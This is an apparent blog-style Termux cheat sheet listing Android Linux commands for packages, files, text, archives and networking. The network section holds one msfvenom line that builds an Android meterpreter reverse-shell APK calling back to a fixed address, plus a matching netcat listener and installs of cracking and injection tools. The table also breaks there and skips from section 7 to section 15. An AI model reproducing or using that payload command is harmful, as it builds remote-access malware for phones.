Termux has revolutionized the way we interact with Android devices, transforming smartphones and tablets into powerful Linux environments. As we progress through 2025, Termux continues to be the go-to terminal emulator for developers, cybersecurity professionals, and tech enthusiasts who want to harness the full potential of their mobile devices. This comprehensive cheat sheet is designed to help both beginners and advanced users navigate the essential commands that make Termux such a versatile tool. Whether you’re setting up a development environment, conducting penetration testing, automating tasks, or simply exploring the capabilities of Linux on Android, this guide provides the foundational commands you need to succeed.
With the latest updates in 2025, including improved package management, enhanced security features, and better integration with Android’s native functionalities, mastering these commands has never been more important. This guide focuses on practical, real-world commands that you’ll use daily, helping you work more efficiently and unlock new possibilities with your Android device.
Learning Objectives
By the end of this cheat sheet guide, you will be able to:
Master essential package management and file operations
Execute network operations and remote connections
Automate tasks and leverage Termux-specific features
Apply security tools with ethical practices
Benefits of This Termux Cheat Sheet
Quick Reference for Daily Tasks – This cheat sheet serves as an instant reference guide, eliminating the need to search through documentation or online forums when you need a specific command. All essential commands are organized by category for fast lookup.
Accelerated Learning Curve – Instead of spending hours experimenting with different commands, you’ll have proven, working examples at your fingertips. This dramatically reduces the time needed to become proficient with Termux, allowing you to focus on your projects rather than syntax.
Enhanced Productivity – By mastering these commands, you’ll work faster and more efficiently. Whether you’re managing files, deploying code, or troubleshooting systems, having these commands memorized or readily available significantly boosts your workflow.
Mobile Development Freedom – This cheat sheet empowers you to turn any Android device into a portable development workstation. You can code, test, and deploy applications from anywhere without needing a laptop or desktop computer.
Security and Penetration Testing Capabilities – For cybersecurity professionals, this guide provides the essential commands needed to perform security assessments, network analysis, and ethical hacking operations directly from a mobile device.
Future-Proof Your Skills – The commands in this 2025 edition reflect current best practices and the latest Termux features. By learning these commands, you’re building skills that remain relevant across Linux distributions and professional environments.
2025’s Most Popular Termux Commands
1. 📦 Package Management
Command
Description
Example
pkg update
Updates package lists
pkg update
pkg upgrade
Upgrades installed packages
pkg upgrade
pkg update && pkg upgrade -y
Update and upgrade in one command
pkg update && pkg upgrade -y
pkg install <package>
Installs a new package
pkg install python
pkg uninstall <package>
Uninstalls a package
pkg uninstall python
pkg list-installed
Lists installed packages
pkg list-installed
pkg list-all
Lists all available packages
pkg list-all
pkg search <query>
Searches for packages
pkg search nmap
pkg show <package>
Shows package details
pkg show python
pkg reinstall <package>
Reinstalls a package
pkg reinstall git
pkg autoclean
Cleans up unneeded packages
pkg autoclean
apt update
Updates package lists via APT
apt update
apt upgrade
Upgrades packages via APT
apt upgrade
apt autoremove
Removes unused dependencies
apt autoremove -y
termux-change-repo
Changes package repository
termux-change-repo
2. 🔧 Basic Commands
Command
Description
Example
pwd
Shows current directory
pwd
ls
Lists files and folders
ls
ls -l
Lists with details
ls -l
ls -la
Lists all including hidden files
ls -la
ls -lh
Human-readable sizes
ls -lh
cd <directory>
Changes directory
cd /sdcard
cd ..
Goes up one directory
cd ..
cd ~
Goes to home directory
cd ~
cd -
Goes to previous directory
cd -
clear
Clears screen
clear
exit
Exits Termux session
exit
whoami
Shows current user
whoami
date
Shows current date/time
date
uptime
Shows system uptime
uptime
uname -a
Shows system information
uname -a
history
Shows command history
history
!!
Runs last command again
!!
3. 📁 File Management
Command
Description
Example
touch <file>
Creates empty file
touch test.txt
mkdir <folder>
Creates new folder
mkdir myproject
mkdir -p <path>
Creates nested folders
mkdir -p projects/python/scripts
rm <file>
Deletes a file
rm test.txt
rm -r <folder>
Deletes folder recursively
rm -r myproject
rm -rf <folder>
Force deletes folder recursively
rm -rf temp
rmdir <folder>
Deletes empty folder
rmdir emptydir
cp <source> <destination>
Copies file
cp file1.txt file2.txt
cp -r <folder1> <folder2>
Copies folder
cp -r folder1 folder2
mv <source> <destination>
Moves or renames file
mv old.txt new.txt
cat <file>
Shows file content
cat file.txt
cat > <file>
Creates and writes to file (Ctrl+D to exit)
cat > newfile.txt
cat >> <file>
Appends to file
cat >> file.txt
head <file>
Shows first 10 lines
head file.txt
head -n 20 <file>
Shows first 20 lines
head -n 20 file.txt
tail <file>
Shows last 10 lines
tail file.txt
tail -n 20 <file>
Shows last 20 lines
tail -n 20 file.txt
tail -f <file>
Follows file changes live
tail -f app.log
less <file>
Shows file one page at a time
less bigfile.txt
more <file>
Shows file by screen
more file.txt
wc <file>
Counts lines, words, bytes
wc file.txt
wc -l <file>
Counts lines
wc -l script.py
4. 🔍 File Searching and Permissions
Command
Description
Example
find <dir> -name <pattern>
Finds file by name
find ~ -name '*.txt'
find . -type f
Finds all files
find . -type f
find . -type d
Finds all directories
find . -type d
find . -size +10M
Finds files >10MB
find . -size +10M
find . -mtime -7
Finds files modified last 7 days
find . -mtime -7
grep <word> <file>
Searches for word in file
grep 'error' app.log
grep -r <word> <dir>
Recursive search in directory
grep -r 'TODO' .
grep -i <word> <file>
Case-insensitive search
grep -i 'error' log.txt
grep -n <word> <file>
Search with line numbers
grep -n 'function' code.py
chmod +x <file>
Makes file executable
chmod +x script.sh
chmod 755 <file>
Ownership & execution permissions
chmod 755 app.py
chmod 644 <file>
Read/write owner, read others
chmod 644 config.txt
ls -l <file>
Shows file permissions
ls -l script.sh
5. ✍️ Text Processing
Command
Description
Example
nano <file>
Edits file with Nano
nano script.sh
vim <file>
Edits file with Vim
vim config.py
echo 'text'
Prints text
echo 'Hello Termux'
echo 'text' > <file>
Writes text to file (overwrite)
echo 'test' > file.txt
echo 'text' >> <file>
Appends text to file
echo 'log' >> app.log
sed 's/old/new/g' <file>
Replaces text in file
sed 's/python/Python/g' code.py
sed -i 's/old/new/g' <file>
Edits file in-place
sed -i 's/test/prod/g' config.txt
awk '{print $1}' <file>
Prints first column
awk '{print $1}' data.txt
awk '/pattern/ {action}' <file>
Pattern matching & action
awk '/error/ {print}' log.txt
sort <file>
Sorts lines
sort names.txt
sort -r <file>
Reverse sorts lines
sort -r numbers.txt
uniq <file>
Removes duplicate lines
uniq sorted.txt
diff <file1> <file2>
Compares two files
diff old.txt new.txt
tr 'a-z' 'A-Z' < <file>
Converts lowercase to uppercase
tr 'a-z' 'A-Z' < text.txt
6. 🗜️ Compression and Archiving
Command
Description
Example
tar -cvf <archive.tar> <files>
Creates tar archive
tar -cvf backup.tar mydata/
tar -xvf <archive.tar>
Extracts tar archive
tar -xvf backup.tar
tar -czvf <archive.tar.gz> <files>
Creates gzip tar archive
tar -czvf backup.tar.gz data/
tar -xzvf <archive.tar.gz>
Extracts gzip tar archive
tar -xzvf backup.tar.gz
tar -cJf <archive.tar.xz> <files>
Creates xz tar archive
tar -cJf backup.tar.xz files/
tar -xJf <archive.tar.xz>
Extracts xz tar archive
tar -xJf backup.tar.xz
zip <archive.zip> <file>
Creates zip archive
zip archive.zip file.txt
zip -r <archive.zip> <folder>
Zips a folder
zip -r backup.zip project/
zip -e <archive.zip> <file>
Creates password-protected zip
zip -e secure.zip data.txt
unzip <archive.zip>
Extracts zip archive
unzip archive.zip
unzip -l <archive.zip>
Lists contents of zip
unzip -l backup.zip
gzip <file>
Compresses with gzip
gzip largefile.txt
gunzip <file.gz>
Decompresses gzip
gunzip largefile.txt.gz
7z a <archive.7z> <files>
Creates 7z archive
7z a backup.7z data/
7z a -p <archive.7z> <files>
Creates password protected 7z
7z a -pMyPass secure.7z files/
7z x <archive.7z>
Extracts 7z archive
7z x backup.7z
7. 🌐 Network Commands
Command
Description
Example
ping <address>
Tests connectivity
ping google.com
ping -c 4 <address>
Sends 4 ping packets
ping -c 4 1.1.1.1
curl <url>
Fetches web content
curl https://api.github.com
curl -o <file> <url>
Downloads from URL
curl -o page.html https://example.com
curl -I <url>
Shows HTTP headers
curl -I https://google.com
curl -X POST -d 'data' <url>
Sends POST request
curl -X POST -d 'key=value' https://api.example.com
msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 R > payload.apk
pkg install nmap
Installs Nmap
pkg install nmap
pkg install hydra
Installs Hydra
pkg install hydra
pkg install sqlmap
Installs SQLmap
pkg install sqlmap
pkg install aircrack-ng
Installs Aircrack-ng
pkg install aircrack-ng
pkg install netcat-openbsd
Installs netcat
pkg install netcat-openbsd
nc -lvnp <port>
Starts netcat listener
nc -lvnp 4444
pkg install wireshark-cli
Installs Wireshark CLI
pkg install wireshark-cli
15. 📚 Helper Commands
Command
Description
Example
man <cmd>
Shows manual page
man ls
<cmd> --help
Shows help for command
curl --help
which <cmd>
Shows command location
which python
whereis <cmd>
Shows command files
whereis git
type <cmd>
Shows command type
type cd
alias <name>='<cmd>'
Sets alias
alias ll='ls -lah'
unalias <name>
Removes alias
unalias ll
Conclusion
The Termux commands presented in this 2025 cheat sheet represent the essential building blocks for transforming your Android device into a powerful, portable Linux workstation. Whether you’re a developer building applications on the go, a student learning command-line skills, or a cybersecurity professional conducting assessments, these commands provide the foundation for countless possibilities. The beauty of Termux lies not just in individual commands, but in how they can be combined and automated to create sophisticated workflows. As you become more comfortable with these basics, you’ll naturally progress to writing bash scripts, automating tasks, and developing your own tools tailored to your specific needs. Remember that learning command-line skills is a journey, not a destination. Start with the commands most relevant to your immediate needs, practice them regularly, and gradually expand your knowledge. The Termux community remains active and supportive, with regular updates ensuring compatibility with the latest Android versions and security standards
Most importantly, always use these tools responsibly and ethically. The power of Termux comes with the responsibility to respect privacy, security, and legal boundaries. When used properly, Termux becomes an invaluable asset for productivity, learning, and innovation in the mobile computing landscape. Keep this cheat sheet handy, experiment with different command combinations, and don’t be afraid to explore the extensive package ecosystem that Termux offers. Your Android device is now a gateway to the entire world of Linux computing—make the most of it.